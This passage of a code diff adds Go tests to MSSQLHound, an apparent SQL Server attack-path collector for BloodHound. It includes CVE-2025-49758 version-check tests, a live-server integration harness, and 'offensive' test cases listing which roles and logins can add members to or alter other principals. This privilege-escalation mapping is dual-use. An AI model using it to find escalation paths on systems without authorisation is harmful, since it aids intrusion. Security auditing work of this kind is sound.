version - should return false (assume not vulnerable) + if IsVulnerableToCVE202549758("", "") { + t.Error("Expected empty version to return false (not vulnerable)") + } +} + +func TestIsPatchedForCVE202549758(t *testing.T) { + // Patched version + if !IsPatchedForCVE202549758("15.0.4440.1", "") { + t.Error("Expected 15.0.4440.1 to be patched") + } + + // Vulnerable version + if IsPatchedForCVE202549758("15.0.4435.7", "") { + t.Error("Expected 15.0.4435.7 to not be patched") + } + + // Empty version - should return true (assume patched to reduce false positives) + if !IsPatchedForCVE202549758("", "") { + t.Error("Expected empty version to return true (assume patched)") + } +} + +func TestExtractVersionFromFullVersion(t *testing.T) { + tests := []struct { + name string + input string + expected string + }{ + { + name: "Standard @@VERSION output", + input: "Microsoft SQL Server 2019 (RTM-CU32) (KB5029378) - 15.0.4435.7 (X64)", + expected: "15.0.4435.7", + }, + { + name: "SQL 2022 @@VERSION", + input: "Microsoft SQL Server 2022 (RTM-CU20-GDR) - 16.0.4210.1 (X64)", + expected: "16.0.4210.1", + }, + { + name: "Three part version", + input: "Microsoft SQL Server 2019 - 15.0.4435", + expected: "15.0.4435", + }, + { + name: "No version found", + input: "Invalid string", + expected: "", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := ExtractVersionFromFullVersion(tt.input) + if result != tt.expected { + t.Errorf("Expected %q but got %q", tt.expected, result) + } + }) + } +} diff --git a/go/internal/collector/edge_integration_test.go b/go/internal/collector/edge_integration_test.go new file mode 100644 index 0000000..47375a6 --- /dev/null +++ b/go/internal/collector/edge_integration_test.go @@ -0,0 +1,651 @@ +//go:build integration + +package collector + +import ( + "archive/zip" + "encoding/json" + "fmt" + "io" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/bloodhound" +) + +// ============================================================================= +// INTEGRATION TEST FUNCTIONS +// ============================================================================= + +// TestIntegrationAll runs the full integration test flow: setup -> test -> coverage -> teardown. +func TestIntegrationAll(t *testing.T) { + cfg := loadIntegrationConfig() + + switch strings.ToLower(cfg.Action) { + case "setup": + runSetup(t, cfg) + case "test": + runIntegrationEdgeTests(t, cfg) + case "teardown": + runTeardown(t, cfg) + case "coverage": + runIntegrationCoverage(t, cfg) + case "validate": + runValidateZip(t, cfg) + case "all": + t.Run("Setup", func(t *testing.T) { + runSetup(t, cfg) + }) + t.Run("Edges", func(t *testing.T) { + runIntegrationEdgeTests(t, cfg) + }) + t.Run("Coverage", func(t *testing.T) { + runIntegrationCoverage(t, cfg) + }) + if !t.Failed() { + t.Run("Report", func(t *testing.T) { + runIntegrationReport(t, cfg) + }) + } + t.Run("Teardown", func(t *testing.T) { + runTeardown(t, cfg) + }) + default: + t.Fatalf("Unknown action: %s (valid: all, setup, test, teardown, coverage, validate)", cfg.Action) + } +} + +// TestIntegrationSetup runs only the setup phase. +func TestIntegrationSetup(t *testing.T) { + cfg := loadIntegrationConfig() + runSetup(t, cfg) +} + +// TestIntegrationEdges runs only the edge validation phase (assumes setup was already done). +func TestIntegrationEdges(t *testing.T) { + cfg := loadIntegrationConfig() + runIntegrationEdgeTests(t, cfg) +} + +// TestIntegrationCoverage runs only the coverage analysis phase. +func TestIntegrationCoverage(t *testing.T) { + cfg := loadIntegrationConfig() + runIntegrationCoverage(t, cfg) +} + +// TestIntegrationTeardown runs only the teardown phase. +func TestIntegrationTeardown(t *testing.T) { + cfg := loadIntegrationConfig() + runTeardown(t, cfg) +} + +// TestIntegrationValidateZip validates edges from an existing MSSQLHound .zip output file. +// Usage: +// +// MSSQL_ZIP=/path/to/output.zip go test -tags integration -v -run TestIntegrationValidateZip +// MSSQL_ZIP=/path/to/output.zip MSSQL_PERSPECTIVE=offensive MSSQL_LIMIT_EDGE=MemberOf go test -tags integration -v -run TestIntegrationValidateZip +func TestIntegrationValidateZip(t *testing.T) { + cfg := loadIntegrationConfig() + runValidateZip(t, cfg) +} + +// runValidateZip reads edges from a .zip file and validates them against test cases. +func runValidateZip(t *testing.T, cfg *integrationConfig) { + t.Helper() + + if cfg.ZipFile == "" { + t.Fatal("MSSQL_ZIP environment variable must be set to a .zip file path") + } + + edges, nodes, err := readBloodHoundZip(cfg.ZipFile) + if err != nil { + t.Fatalf("Failed to read zip file %s: %v", cfg.ZipFile, err) + } + + t.Logf("Loaded %d edges and %d nodes from %s", len(edges), len(nodes), cfg.ZipFile) + + // Determine perspective + perspective := strings.ToLower(cfg.Perspective) + if perspective == "" || perspective == "both" { + perspective = "offensive" // default to offensive perspective + } + + allTestCases := getAllTestCases() + + // Filter by edge type if specified + if cfg.LimitToEdge != "" { + var filtered []edgeTestCase + for _, tc := range allTestCases { + if strings.EqualFold(tc.EdgeType, cfg.LimitToEdge) || + strings.EqualFold(tc.EdgeType, "MSSQL_"+cfg.LimitToEdge) { + filtered = append(filtered, tc) + } + } + if len(filtered) == 0 { + t.Fatalf("No test cases found for edge type %q", cfg.LimitToEdge) + } + allTestCases = filtered + } + + var run integrationTestRun + run.Perspective = perspective + run.Edges = edges + run.Nodes = nodes + + passed, failed, skipped := 0, 0, 0 + for _, tc := range allTestCases { + if !testCaseAppliesToPerspective(tc, perspective) { + skipped++ + continue + } + + t.Run(tc.Description, func(t *testing.T) { + result := integrationTestResult{TestCase: tc} + ok := runSingleTestCaseWithResult(t, edges, tc) + result.Passed = ok + if ok { + passed++ + } else { + failed++ + result.Message = fmt.Sprintf("Failed: %s -> %s", tc.SourcePattern, tc.TargetPattern) + } + run.Results = append(run.Results, result) + }) + } + + t.Logf("Results: %d passed, %d failed, %d skipped", passed, failed, skipped) + + // Store for coverage/report if desired + storeTestRuns(t, []integrationTestRun{run}) +} + +// readBloodHoundZip extracts and reads all JSON files from a MSSQLHound .zip output. +func readBloodHoundZip(zipPath string) ([]bloodhound.Edge, []bloodhound.Node, error) { + r, err := zip.OpenReader(zipPath) + if err != nil { + return nil, nil, fmt.Errorf("open zip: %w", err) + } + defer r.Close() + + var allEdges []bloodhound.Edge + var allNodes []bloodhound.Node + + for _, f := range r.File { + if !strings.HasSuffix(strings.ToLower(f.Name), ".json") { + continue + } + + rc, err := f.Open() + if err != nil { + return nil, nil, fmt.Errorf("open %s in zip: %w", f.Name, err) + } + + data, err := io.ReadAll(rc) + rc.Close() + if err != nil { + return nil, nil, fmt.Errorf("read %s in zip: %w", f.Name, err) + } + + edges, nodes, err := parseBloodHoundJSON(data) + if err != nil { + continue // skip unparseable files + } + allEdges = append(allEdges, edges...) + allNodes = append(allNodes, nodes...) + } + + return allEdges, allNodes, nil +} + +// parseBloodHoundJSON tries multiple BloodHound JSON formats: +// 1. Graph format: {"graph": {"nodes": [...], "edges": [...]}} (MSSQLHound output) +// 2. Data format: {"data": [...]} (OpenGraph ingest format) +// 3. Line-delimited JSON +func parseBloodHoundJSON(data []byte) ([]bloodhound.Edge, []bloodhound.Node, error) { + // Strip UTF-8 BOM if present + if len(data) >= 3 && data[0] == 0xEF && data[1] == 0xBB && data[2] == 0xBF { + data = data[3:] + } + + // Try graph format (MSSQLHound output): {"graph": {"nodes": [...], "edges": [...]}} + var graphDoc struct { + Graph struct { + Nodes []bloodhound.Node `json:"nodes"` + Edges []bloodhound.Edge `json:"edges"` + } `json:"graph"` + } + if err := json.Unmarshal(data, &graphDoc); err == nil { + if len(graphDoc.Graph.Nodes) > 0 || len(graphDoc.Graph.Edges) > 0 { + return graphDoc.Graph.Edges, graphDoc.Graph.Nodes, nil + } + } + + // Try data format: {"data": [...]} + var dataDoc struct { + Data []json.RawMessage `json:"data"` + } + if err := json.Unmarshal(data, &dataDoc); err == nil && len(dataDoc.Data) > 0 { + var edges []bloodhound.Edge + var nodes []bloodhound.Node + for _, raw := range dataDoc.Data { + var probe struct { + Kind string `json:"kind"` + Start *struct{} `json:"start"` + } + if err := json.Unmarshal(raw, &probe); err != nil { + continue + } + if probe.Start != nil { + var edge bloodhound.Edge + if err := json.Unmarshal(raw, &edge); err == nil { + edges = append(edges, edge) + } + } else if probe.Kind != "" { + var node bloodhound.Node + if err := json.Unmarshal(raw, &node); err == nil { + nodes = append(nodes, node) + } + } + } + return edges, nodes, nil + } + + // Try line-delimited format + return readBloodHoundJSONLines(data) +} + +// ============================================================================= +// EDGE TESTING +// ============================================================================= + +// integrationTestRun holds results from a single perspective test run. +type integrationTestRun struct { + Perspective string + Edges []bloodhound.Edge + Nodes []bloodhound.Node + OutputFile string + Results []integrationTestResult +} + +type integrationTestResult struct { + TestCase edgeTestCase + Passed bool + Message string +} + +// runIntegrationEdgeTests runs the MSSQLHound collector against a live SQL Server +// and validates the created edges against expected patterns. +func runIntegrationEdgeTests(t *testing.T, cfg *integrationConfig) { + t.Helper() + + perspectives := []struct { + name string + nontraversable bool + }{ + {"offensive", true}, + {"defensive", true}, + } + + // Filter by perspective if specified + switch strings.ToLower(cfg.Perspective) { + case "offensive": + perspectives = perspectives[:1] + case "defensive": + perspectives = perspectives[1:] + } + + var testRuns []integrationTestRun + + for _, p := range perspectives { + t.Run(p.name, func(t *testing.T) { + run := runEnumerationAndValidate(t, cfg, p.name, p.nontraversable) + testRuns = append(testRuns, run) + }) + } + + // Store test runs for coverage/reporting + storeTestRuns(t, testRuns) +} + +// runEnumerationAndValidate runs the collector for a specific perspective +// and validates edges against test case data. +func runEnumerationAndValidate(t *testing.T, cfg *integrationConfig, perspective string, includeNontraversable bool) integrationTestRun { + t.Helper() + + run := integrationTestRun{ + Perspective: perspective, + } + + // Run MSSQLHound enumeration + tempDir := t.TempDir() + collectorCfg := &Config{ + ServerInstance: cfg.ServerInstance, + UserID: cfg.EnumUserID, + Password: cfg.EnumPassword, + Domain: cfg.Domain, + DCIP: cfg.DCIP, + DNSResolver: cfg.DCIP, // Use DC as DNS resolver when no explicit resolver is set + LDAPUser: cfg.LDAPUser, + LDAPPassword: cfg.LDAPPassword, + OutputFormat: "BloodHound", + TempDir: tempDir, + IncludeNontraversableEdges: includeNontraversable, + SkipLinkedServerEnum: false, + } + + t.Logf("Running enumeration as %s (perspective: %s, nontraversable: %v)...", + cfg.EnumUserID, perspective, includeNontraversable) + + collector := New(collectorCfg) + if err := collector.Run(); err != nil { + t.Fatalf("Collector failed: %v", err) + } + + // Find and read the BloodHound output file + outputFiles, err := filepath.Glob(filepath.Join(tempDir, "*.json")) + if err != nil || len(outputFiles) == 0 { + t.Fatal("No BloodHound JSON output files found") + } + + // Read edges and nodes from all output files + for _, f := range outputFiles { + edges, nodes, err := readBloodHoundJSON(f) + if err != nil { + t.Fatalf("Failed to read BloodHound output %s: %v", f, err) + } + run.Edges = append(run.Edges, edges...) + run.Nodes = append(run.Nodes, nodes...) + } + + t.Logf("Enumeration produced %d edges and %d nodes", len(run.Edges), len(run.Nodes)) + + // Get all test cases + allTestCases := getAllTestCases() + + // Filter by edge type if specified + if cfg.LimitToEdge != "" { + var filtered []edgeTestCase + for _, tc := range allTestCases { + if strings.EqualFold(tc.EdgeType, cfg.LimitToEdge) || + strings.EqualFold(tc.EdgeType, "MSSQL_"+cfg.LimitToEdge) { + filtered = append(filtered, tc) + } + } + allTestCases = filtered + } + + // Run test cases for this perspective + for _, tc := range allTestCases { + if !testCaseAppliesToPerspective(tc, perspective) { + continue + } + + t.Run(tc.Description, func(t *testing.T) { + result := integrationTestResult{TestCase: tc} + passed := runSingleTestCaseWithResult(t, run.Edges, tc) + result.Passed = passed + if !passed { + result.Message = fmt.Sprintf("Failed: %s -> %s", tc.SourcePattern, tc.TargetPattern) + } + run.Results = append(run.Results, result) + }) + } + + return run +} + +// getAllTestCases collects all test cases from the test data file. +func getAllTestCases() []edgeTestCase { + var all []edgeTestCase + all = append(all, addMemberTestCases...) + all = append(all, alterTestCases...) + all = append(all, alterAnyAppRoleTestCases...) + all = append(all, alterAnyDBRoleTestCases...) + all = append(all, alterAnyLoginTestCases...) + all = append(all, alterAnyServerRoleTestCases...) + all = append(all, changeOwnerTestCases...) + all = append(all, changePasswordTestCases...) + all = append(all, coerceAndRelayTestCases...) + all = append(all, connectTestCases...) + all = append(all, connectAnyDatabaseTestCases...) + all = append(all, containsTestCases...) + all = append(all, controlTestCases...) + all = append(all, controlDBTestCases...) + all = append(all, controlServerTestCases...) + all = append(all, executeAsTestCases...) + all = append(all, executeAsOwnerTestCases...) + all = append(all, executeOnHostTestCases...) + all = append(all, getAdminTGSTestCases...) + all = append(all, getTGSTestCases...) + all = append(all, grantAnyDBPermTestCases...) + all = append(all, grantAnyPermTestCases...) + all = append(all, hasDBScopedCredTestCases...) + all = append(all, hasLoginTestCases...) + all = append(all, hasMappedCredTestCases...) + all = append(all, hasProxyCredTestCases...) + all = append(all, impersonateTestCases...) + all = append(all, impersonateAnyLoginTestCases...) + all = append(all, isMappedToTestCases...) + all = append(all, linkedAsAdminTestCases...) + all = append(all, linkedToTestCases...) + all = append(all, memberOfTestCases...) + all = append(all, ownsTestCases...) + all = append(all, serviceAccountForTestCases...) + all = append(all, takeOwnershipTestCases...) + return all +} + +// runSingleTestCaseWithResult is like runSingleTestCase but returns pass/fail. +func runSingleTestCaseWithResult(t *testing.T, edges []bloodhound.Edge, tc edgeTestCase) bool { + t.Helper() + + matching := findEdges(edges, tc.EdgeType, tc.SourcePattern, tc.TargetPattern) + + if tc.ExpectedCount > 0 { + if len(matching) != tc.ExpectedCount { + t.Errorf("Expected %d %s edges matching %s -> %s, got %d", + tc.ExpectedCount, tc.EdgeType, tc.SourcePattern, tc.TargetPattern, len(matching)) + logActualEdgesOfType(t, edges, tc.EdgeType) + return false + } + return true + } + + if tc.Negative { + if len(matching) > 0 { + t.Errorf("Expected NO %s edge from %s to %s, but found %d:", + tc.EdgeType, tc.SourcePattern, tc.TargetPattern, len(matching)) + for _, e := range matching { + t.Errorf(" actual: %s -> %s", e.Start.Value, e.End.Value) + } + return false + } + return true + } + + // Positive test case + if len(matching) == 0 { + t.Errorf("Expected %s edge from %s to %s, but none found", + tc.EdgeType, tc.SourcePattern, tc.TargetPattern) + logActualEdgesOfType(t, edges, tc.EdgeType) + return false + } + + // Check edge properties if specified + if len(tc.EdgeProperties) > 0 { + for _, edge := range matching { + for propName, expectedValue := range tc.EdgeProperties { + actualValue, exists := edge.Properties[propName] + if !exists { + t.Errorf("Edge property %q missing on %s -> %s", + propName, edge.Start.Value, edge.End.Value) + return false + } + if fmt.Sprintf("%v", actualValue) != fmt.Sprintf("%v", expectedValue) { + t.Errorf("Edge property %q on %s -> %s: expected %v, got %v", + propName, edge.Start.Value, edge.End.Value, expectedValue, actualValue) + return false + } + } + } + } + + return true +} + +// logActualEdgesOfType logs all edges of the given type to help diagnose failures. +func logActualEdgesOfType(t *testing.T, edges []bloodhound.Edge, edgeType string) { + t.Helper() + var actual []bloodhound.Edge + for _, e := range edges { + if e.Kind == edgeType { + actual = append(actual, e) + } + } + if len(actual) == 0 { + t.Logf(" no %s edges exist in output", edgeType) + return + } + t.Logf(" actual %s edges (%d total):", edgeType, len(actual)) + for _, e := range actual { + t.Logf(" %s -> %s", e.Start.Value, e.End.Value) + } +} + +// ============================================================================= +// BLOODHOUND JSON READING +// ============================================================================= + +// readBloodHoundJSON reads edges and nodes from a BloodHound JSON file. +func readBloodHoundJSON(path string) ([]bloodhound.Edge, []bloodhound.Node, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, nil, err + } + return parseBloodHoundJSON(data) +} + +// readBloodHoundJSONLines reads line-delimited JSON format. +func readBloodHoundJSONLines(data []byte) ([]bloodhound.Edge, []bloodhound.Node, error) { + var edges []bloodhound.Edge + var nodes []bloodhound.Node + + for _, line := range strings.Split(string(data), "\n") { + line = strings.TrimSpace(line) + if line == "" || line == "[" || line == "]" { + continue + } + line = strings.TrimSuffix(line, ",") + + var probe struct { + Kind string `json:"kind"` + StartNode string `json:"start_node"` + } + if err := json.Unmarshal([]byte(line), &probe); err != nil { + continue + } + + if probe.StartNode != "" { + var edge bloodhound.Edge + if err := json.Unmarshal([]byte(line), &edge); err == nil { + edges = append(edges, edge) + } + } else if probe.Kind != "" { + var node bloodhound.Node + if err := json.Unmarshal([]byte(line), &node); err == nil { + nodes = append(nodes, node) + } + } + } + + return edges, nodes, nil +} + +// ============================================================================= +// COVERAGE ANALYSIS +// ============================================================================= + +// runIntegrationCoverage analyzes which edge types were found per perspective. +func runIntegrationCoverage(t *testing.T, cfg *integrationConfig) { + t.Helper() + + testRuns := loadTestRuns(t) + if len(testRuns) == 0 { + t.Skip("No test runs found - run edges test first") + } + + report := analyzeCoverage(testRuns) + + t.Logf("Edge Type Coverage Analysis:") + t.Logf("========================================") + + missingCount := 0 + for _, entry := range report { + status := entry.Status + t.Logf(" %s: %s", entry.EdgeType, status) + if status == "MISSING" { + missingCount++ + } + } + + t.Logf("========================================") + t.Logf("Missing edge types: %d", missingCount) + + if missingCount > 0 { + t.Errorf("%d edge types are missing from test results", missingCount) + } +} + +// ============================================================================= +// TEST RUN STORAGE +// ============================================================================= + +var integrationTestRunsFile = "" + +func storeTestRuns(t *testing.T, runs []integrationTestRun) { + t.Helper() + + data, err := json.MarshalIndent(runs, "", " ") + if err != nil { + t.Logf("Warning: Failed to marshal test runs: %v", err) + return + } + + file := filepath.Join(os.TempDir(), fmt.Sprintf("mssqlhound-integration-runs-%d.json", time.Now().Unix())) + if err := os.WriteFile(file, data, 0644); err != nil { + t.Logf("Warning: Failed to write test runs: %v", err) + return + } + + integrationTestRunsFile = file + t.Logf("Test runs stored at: %s", file) +} + +func loadTestRuns(t *testing.T) []integrationTestRun { + t.Helper() + + if integrationTestRunsFile == "" { + // Try to find the most recent runs file + pattern := filepath.Join(os.TempDir(), "mssqlhound-integration-runs-*.json") + files, err := filepath.Glob(pattern) + if err != nil || len(files) == 0 { + return nil + } + integrationTestRunsFile = files[len(files)-1] + } + + data, err := os.ReadFile(integrationTestRunsFile) + if err != nil { + return nil + } + + var runs []integrationTestRun + if err := json.Unmarshal(data, &runs); err != nil { + return nil + } + + return runs +} diff --git a/go/internal/collector/edge_test_data_test.go b/go/internal/collector/edge_test_data_test.go new file mode 100644 index 0000000..99bc729 --- /dev/null +++ b/go/internal/collector/edge_test_data_test.go @@ -0,0 +1,750 @@ +package collector + +// This file contains all test case definitions translated 1:1 from +// Invoke-MSSQLHoundUnitTests.ps1 lines 3953-7284. +// Each Go variable corresponds to a PS1 $script:expectedEdges_* array. +// NOTE: Defensive-only test cases have been removed. + +// --------------------------------------------------------------------------- +// MSSQL_AddMember +// --------------------------------------------------------------------------- + +var addMemberTestCases = []edgeTestCase{ + // Fixed role permissions + { + EdgeType: "MSSQL_AddMember", + Description: "db_securityadmin can add members to user-defined database roles", + SourcePattern: "db_securityadmin@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_User_CanAlterDbRole@*", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "db_securityadmin has ALTER ANY ROLE but cannot add members to fixed roles", + SourcePattern: "db_securityadmin@*\\EdgeTest_AddMember", + TargetPattern: "ddladmin@*", + Negative: true, + Reason: "Only db_owner can add members to fixed roles", + Perspective: "offensive", + }, + + // SERVER LEVEL: Login -> ServerRole + { + EdgeType: "MSSQL_AddMember", + Description: "Login with ALTER on role can add members", + SourcePattern: "AddMemberTest_Login_CanAlterServerRole@*", + TargetPattern: "AddMemberTest_ServerRole_TargetOf_Login_CanAlterServerRole@*", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "Login with CONTROL on role can add members", + SourcePattern: "AddMemberTest_Login_CanControlServerRole@*", + TargetPattern: "AddMemberTest_ServerRole_TargetOf_Login_CanControlServerRole@*", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "Login with ALTER ANY SERVER ROLE can add to user-defined roles", + SourcePattern: "AddMemberTest_Login_CanAlterAnyServerRole@*", + TargetPattern: "AddMemberTest_ServerRole_TargetOf_Login_CanAlterServerRole@*", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "Login member of processadmin can add to processadmin", + SourcePattern: "AddMemberTest_Login_CanAlterAnyServerRole@*", + TargetPattern: "processadmin@*", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "Login with ALTER ANY SERVER ROLE CANNOT add to sysadmin", + SourcePattern: "AddMemberTest_Login_CanAlterAnyServerRole@*", + TargetPattern: "sysadmin@*", + Negative: true, + Reason: "sysadmin role does not accept new members via ALTER ANY SERVER ROLE", + Perspective: "offensive", + }, + + // SERVER LEVEL: ServerRole -> ServerRole + { + EdgeType: "MSSQL_AddMember", + Description: "ServerRole with ALTER on role can add members", + SourcePattern: "AddMemberTest_ServerRole_CanAlterServerRole@*", + TargetPattern: "AddMemberTest_ServerRole_TargetOf_ServerRole_CanAlterServerRole@*", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "ServerRole with CONTROL on role can add members", + SourcePattern: "AddMemberTest_ServerRole_CanControlServerRole@*", + TargetPattern: "AddMemberTest_ServerRole_TargetOf_ServerRole_CanControlServerRole@*", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "ServerRole with ALTER ANY SERVER ROLE can add to user-defined roles", + SourcePattern: "AddMemberTest_ServerRole_CanAlterAnyServerRole@*", + TargetPattern: "AddMemberTest_ServerRole_TargetOf_Login_CanAlterServerRole@*", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "ServerRole member of processadmin can add to processadmin", + SourcePattern: "AddMemberTest_ServerRole_CanAlterAnyServerRole@*", + TargetPattern: "processadmin@*", + Perspective: "offensive", + }, + + // DATABASE LEVEL: DatabaseUser -> DatabaseRole + { + EdgeType: "MSSQL_AddMember", + Description: "DatabaseUser with ALTER on role can add members", + SourcePattern: "AddMemberTest_User_CanAlterDbRole@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_User_CanAlterDbRole@*\\EdgeTest_AddMember", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "DatabaseUser with ALTER ANY ROLE can add to user-defined roles", + SourcePattern: "AddMemberTest_User_CanAlterAnyDbRole@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_User_CanAlterDbRole@*\\EdgeTest_AddMember", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "DatabaseUser with ALTER on database can add to user-defined roles", + SourcePattern: "AddMemberTest_User_CanAlterDb@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_User_CanAlterDb@*\\EdgeTest_AddMember", + Perspective: "offensive", + }, + + // DATABASE LEVEL: DatabaseRole -> DatabaseRole + { + EdgeType: "MSSQL_AddMember", + Description: "DatabaseRole with ALTER on role can add members", + SourcePattern: "AddMemberTest_DbRole_CanAlterDbRole@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_DbRole_CanAlterDbRole@*\\EdgeTest_AddMember", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "DatabaseRole with CONTROL on role can add members", + SourcePattern: "AddMemberTest_DbRole_CanControlDbRole@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_DbRole_CanControlDbRole@*\\EdgeTest_AddMember", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "DatabaseRole with ALTER ANY ROLE can add to user-defined roles", + SourcePattern: "AddMemberTest_DbRole_CanAlterAnyDbRole@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_User_CanAlterDbRole@*\\EdgeTest_AddMember", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "DatabaseRole with ALTER on database can add to user-defined roles", + SourcePattern: "AddMemberTest_DbRole_CanAlterDb@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_DbRole_CanAlterDb@*\\EdgeTest_AddMember", + Perspective: "offensive", + }, + + // DATABASE LEVEL: ApplicationRole -> DatabaseRole + { + EdgeType: "MSSQL_AddMember", + Description: "ApplicationRole with ALTER on role can add members", + SourcePattern: "AddMemberTest_AppRole_CanAlterDbRole@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_AppRole_CanAlterDbRole@*\\EdgeTest_AddMember", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "ApplicationRole with CONTROL on role can add members", + SourcePattern: "AddMemberTest_AppRole_CanControlDbRole@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_AppRole_CanControlDbRole@*\\EdgeTest_AddMember", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "ApplicationRole with ALTER ANY ROLE can add to user-defined roles", + SourcePattern: "AddMemberTest_AppRole_CanAlterAnyDbRole@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_User_CanAlterDbRole@*\\EdgeTest_AddMember", + Perspective: "offensive", + }, + { + EdgeType: "MSSQL_AddMember", + Description: "ApplicationRole with ALTER on database can add to user-defined roles", + SourcePattern: "AddMemberTest_AppRole_CanAlterDb@*\\EdgeTest_AddMember", + TargetPattern: "AddMemberTest_DbRole_TargetOf_AppRole_CanAlterDb@*\\EdgeTest_AddMember", + Perspective: "offensive", + }, +} + +// --------------------------------------------------------------------------- +// MSSQL_Alter +// --------------------------------------------------------------------------- + +var alterTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_Alter", Description: "Login with ALTER on login", SourcePattern: "AlterTest_Login_CanAlterLogin@*", TargetPattern: "AlterTest_Login_TargetOf_Login_CanAlterLogin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "Login with ALTER on role can alter role", SourcePattern: "AlterTest_Login_CanAlterServerRole@*", TargetPattern: "AlterTest_ServerRole_TargetOf_Login_CanAlterServerRole@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "ServerRole with ALTER on login", SourcePattern: "AlterTest_ServerRole_CanAlterLogin@*", TargetPattern: "AlterTest_Login_TargetOf_ServerRole_CanAlterLogin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "ServerRole with ALTER on role can alter role", SourcePattern: "AlterTest_ServerRole_CanAlterServerRole@*", TargetPattern: "AlterTest_ServerRole_TargetOf_ServerRole_CanAlterServerRole@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "DatabaseUser with ALTER on database can alter database", SourcePattern: "AlterTest_User_CanAlterDb@*\\EdgeTest_Alter", TargetPattern: "*\\EdgeTest_Alter", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "DatabaseRole with ALTER on database can alter database", SourcePattern: "AlterTest_DbRole_CanAlterDb@*\\EdgeTest_Alter", TargetPattern: "*\\EdgeTest_Alter", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "ApplicationRole with ALTER on database can alter database", SourcePattern: "AlterTest_AppRole_CanAlterDb@*\\EdgeTest_Alter", TargetPattern: "*\\EdgeTest_Alter", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "DatabaseUser with ALTER on user", SourcePattern: "AlterTest_User_CanAlterDbUser@*\\EdgeTest_Alter", TargetPattern: "AlterTest_User_TargetOf_User_CanAlterDbUser@*\\EdgeTest_Alter", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "DatabaseRole with ALTER on user", SourcePattern: "AlterTest_DbRole_CanAlterDbUser@*\\EdgeTest_Alter", TargetPattern: "AlterTest_User_TargetOf_DbRole_CanAlterDbUser@*\\EdgeTest_Alter", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "ApplicationRole with ALTER on user", SourcePattern: "AlterTest_AppRole_CanAlterDbUser@*\\EdgeTest_Alter", TargetPattern: "AlterTest_User_TargetOf_AppRole_CanAlterDbUser@*\\EdgeTest_Alter", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "DatabaseUser with ALTER on role can alter role", SourcePattern: "AlterTest_User_CanAlterDbRole@*\\EdgeTest_Alter", TargetPattern: "AlterTest_DbRole_TargetOf_User_CanAlterDbRole@*\\EdgeTest_Alter", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "DatabaseRole with ALTER on role can alter role", SourcePattern: "AlterTest_DbRole_CanAlterDbRole@*\\EdgeTest_Alter", TargetPattern: "AlterTest_DbRole_TargetOf_DbRole_CanAlterDbRole@*\\EdgeTest_Alter", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "ApplicationRole with ALTER on role can alter role", SourcePattern: "AlterTest_AppRole_CanAlterDbRole@*\\EdgeTest_Alter", TargetPattern: "AlterTest_DbRole_TargetOf_AppRole_CanAlterDbRole@*\\EdgeTest_Alter", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "DatabaseUser with ALTER on app role", SourcePattern: "AlterTest_User_CanAlterAppRole@*\\EdgeTest_Alter", TargetPattern: "AlterTest_AppRole_TargetOf_User_CanAlterAppRole@*\\EdgeTest_Alter", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "DatabaseRole with ALTER on app role", SourcePattern: "AlterTest_DbRole_CanAlterAppRole@*\\EdgeTest_Alter", TargetPattern: "AlterTest_AppRole_TargetOf_DbRole_CanAlterAppRole@*\\EdgeTest_Alter", Perspective: "offensive"}, + {EdgeType: "MSSQL_Alter", Description: "ApplicationRole with ALTER on app role", SourcePattern: "AlterTest_AppRole_CanAlterAppRole@*\\EdgeTest_Alter", TargetPattern: "AlterTest_AppRole_TargetOf_AppRole_CanAlterAppRole@*\\EdgeTest_Alter", Perspective: "offensive"}, +} + +// 